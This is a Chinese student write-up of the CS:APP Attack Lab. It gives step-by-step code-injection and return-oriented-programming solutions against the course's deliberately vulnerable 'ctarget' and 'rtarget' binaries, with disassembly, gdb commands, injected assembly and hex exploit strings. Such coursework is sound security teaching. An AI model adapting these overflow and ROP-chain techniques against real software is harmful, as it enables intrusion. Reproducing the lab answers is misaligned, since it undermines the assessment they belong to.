前置知识
栈布局以及栈增长方向
缓冲区溢出示例
准备工作
- 反汇编两个需要做的文件
objdump -d ctarget > ctarget.txt objdump -d rtarget > rtarget.txt - 得到了两个新文件
ctarget.txt 和rtarget.txt
- README.txt:描述本目录内容的文件。
- ctarget:一个容易遭受code-injection攻击的可执行程序。
- rtarget:一个容易遭受return-oriented-programming攻击的可执行程序。
- cookie.txt:一个8位的十六进制码,在后面解题会用到.
- farm.c:你的目标“gadget farm”的源代码,在产生return-oriented programming攻击时会用到。
- hex2raw:一个生成攻击字符串的工具。后面用这个工具处理
CI:代码注入攻击
phase_1
第一关根据题意得知执行test函数时会调用getbuf函数,但是不想让他调用这个函数,而是调用touch1函数,所以之需要将getbuf的返回地址改为touch1的返回地址即可。
函数栈的形成方式如下:
实验思路: 我们知道在缓冲区溢出的时候会冲掉一部分的数据,所以之需要把getbuf中的18个字节冲掉,从低端向上冲掉,最后再把getbuf的地址换为touch1的地址。
实验步骤:
- 查看
test 函数中的内容。test中调用了getbuf函数,esi中保存了传递的第一个参数。
000000000040181b <test>:
40181b: 48 83 ec 08 sub $0x8,%rsp
40181f: b8 00 00 00 00 mov $0x0,%eax
401824: e8 56 fe ff ff callq 40167f <getbuf>
401829: 89 c2 mov %eax,%edx
40182b: be 50 2e 40 00 mov $0x402e50,%esi
401830: bf 01 00 00 00 mov $0x1,%edi
401835: b8 00 00 00 00 mov $0x0,%eax
40183a: e8 b1 f4 ff ff callq 400cf0 <__printf_chk@plt>
40183f: 48 83 c4 08 add $0x8,%rsp
401843: c3 retq
- 查看esi中的内容。在test打个断点,然后使用
x/2s 查看内容。 - 查看getbuf函数。getbuf函数中调用了gets函数。
000000000040167f <getbuf>:
40167f: 48 83 ec 18 sub $0x18,%rsp
401683: 48 89 e7 mov %rsp,%rdi
401686: e8 59 02 00 00 callq 4018e4 <Gets>
40168b: b8 01 00 00 00 mov $0x1,%eax
401690: 48 83 c4 18 add $0x18,%rsp
401694: c3 retq
-
在touch1函数中查看其地址。 -
在当前目录的终端中创建一个touch1.txt文件夹,将touch1的地址放入。由于是小端存放所以倒着存放
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
95 16 40 00 00 00 00 00
- 使用hex2raw工具进行编译,Ctarget默认会连接CMU的服务器,加-q参数可以取消连接服务器。(不加-q也可)
./hex2raw < touch1.txt | ./ctarget -q
phase_2
实验思路: 第二道题要求我们还是将getbuf的地址改为touch2的地址。题目要求在这个例子中,你必须让touch2以为它收到的参数是你的cookie,所以有一个参数值要与cookie相等,cookie的值为0x3d9549ca ,在传递参数是就可以把cookie放入寄存器rdi中,然后将touch2的地址压入栈,touch2的地址为0x401695 。最后执行getbuf之后回到rsp那里,所以要找到rsp的地址,然后执行写好的三段代码。
图是给个例子,数据并不对
实验步骤
- 本题的关键就是在改变返回地址前也设置rdi寄存器的值。因此我们可以很容易的想到我们要插入的汇编代码是什么:
mov $0x3d9549ca, %rdi
push $0x4016c1
ret
- 再来看一下getbuf的汇编代码,把rsp赋给了rdi然后调用了gets ,我们需要看一下
rsp ,在这里打一个断点。 gdb ctarget 调试以下打个断点。 b getbuf 在getbuf函数处打断点。 r 用-q参数运行程序,直到遇到断点。 disas 反汇编当前函数。 step 继续执行程序直到另一行代码,再中断,把控制器交给gdb。 stepi 跳过没有调试信息的函数。 r /x $rsp 用16进制打印rsp寄存器的值。
rsp的值:
0x55654c98
-
用gcc –c t2.s 编译汇编文件,再用objdump命令获得这三条指令的字节表示。 -
在当前目录的终端中创建一个touch2.txt文件夹
48 c7 c7 ca 49 95 3d 68
c1 16 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
98 4c 65 55 00 00 00 00
- 使用hex2raw工具进行编译
phase_3
和第二关差不多的思路组合答案。
- touch3的首地址
0x4017ad ,cookie0x3d9549ca
mov $0x3d9549ca, %rdi
push $0x4017ad
ret
- 注入代码部分:
48 c7 c7 ca 49 95 3d 68 ad 17 40 00 c3
- rsp:
55654c98
- 将cookie变成ASCII形式:
转化网址
33 64 39 35 34 39 63 61
答案:
48 c7 c7 a8 dc 61 55 68
ad 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
98 4c 65 55 00 00 00 00
33 64 39 35 34 39 63 61
ROP:面向返回的编程
phase_2
popq %rax 的指令字节为:58,所以我们找到了如下函数:
0000000000401873 <addval_385>:
401873: 8d 87 00 58 90 c3 lea -0x3c6fa800(%rdi),%eax
401879: c3
从中我们可以得出popq %rax 指令的地址为:0x401876
movq %rax, %rdi的指令字节为:48 89 c7,所以我们找到了如下函数:
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3
0000000000401866 <setval_246>:
401866: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40186c: c3
从中我们可以得出movq %rax, %rdi 指令的地址为:0x40186a 和0x401868 cookie的地址:3d9549ca touch2的地址为0x4016c1
生成攻击字符串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 % 前0x18个字符填充0x00
76 18 40 00 00 00 00 00 % popq %rax
ca 49 95 3d 00 00 00 00 % cookie (popq的目标)
6a 18 40 00 00 00 00 00 % movq %rax,%rdi
c1 16 40 00 00 00 00 00 % 返回到 touch2
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
76 18 40 00 00 00 00 00
ca 49 95 3d 00 00 00 00
6a 18 40 00 00 00 00 00
c1 16 40 00 00 00 00 00
输入保存./hex2raw < touch4.txt | ./rtarget
phase_3
第一步,寻找到与%rsp 有关的地址
00000000004018fd <addval_191>:
4018fd: 8d 87 48 89 e0 c2 lea -0x3d1f76b8(%rdi),%eax
401903: c3
movq %rsp, %rax 的指令字节为:48 89 e0 , 所以这一步的gadget 地址为:0x4018ff
第二步,将一个递增的%rax 指向cookie
0000000000401887 <add_xy>:
401887: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40188b: c3
add $0x37 , %al 的字节指令为04 37 ,所以这一步的gadget 地址为:0x401889
第三步,接下来需要%rax 内容移动到%rdi 中。
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3
movq %rax, %rdi 指令48 89 c7 ,第三个gadget 地址为:0x401861
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ff 18 40 00 00 00 00 00
89 18 40 00 00 00 00 00
61 18 40 00 00 00 00 00
ad 17 40 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 33
64 39 35 34 39 63 61 00
输入保存./hex2raw < touch5.txt | ./rtarget
参考文章
参考了网上的文章做的。侵删 https://www.jianshu.com/p/db731ca57342 https://www.viseator.com/2017/07/18/CS_APP_AttackLab/ https://blog.csdn.net/lijun538/article/details/50682387
hex2raw的使用
hex2raw的输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值。例如,字符串“012345”,必须输入“30 31 32 33 34 35 00”。十六进制字符之间以空白符(空格或新行)分隔。
可以把攻击字符串存入文件中,例如exploit.txt,以下列几种方式调用:
用一系列管道(pipe)通过hex2raw传递字符串。
unix> cat exploit.txt | ./hex2raw | ./ctarget
将raw字符串存在文件中,使用I/O重定向。
unix> ./hex2raw < exploit.txt > exploit-raw.txt unix> ./ctarget < exploit-raw.txt
这种方法也可以在gdb中使用。
unix> gdb ctarget (gdb) run < exploit-raw.txt
将raw字符串存在文件中,将文件的名字作为hex2raw的命令行参数。
unix> ./hex2raw < exploit.txt > exploit-raw.txt unix> ./ctarget -i exploit-raw.txt
这种方法也可以在gdb中使用。
生成字节代码
假设编写一个汇编文件example.s,代码如下:
pushq $0xabcdef # Push value onto stack
addq $17,%rax # Add 17 to %rax
movl %eax,%edx # Copy lower 32 bits to %edx
可以汇编和反汇编文件:
unix> gcc -c example.s? unix> objdump -d example.o > example.d
生成的example.d包含如下内容:
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
由此可以推出这段代码的字节序列:
68 ef cd ab 00 48 83 c0 11 89 c2
可以通过hex2raw生成目标程序的输入字符串。也可以手动修改example.d的代码,得到下面的内容:
68 ef cd ab 00
48 83 c0 11
89 c2
这也是合法的hex2raw的输入。
|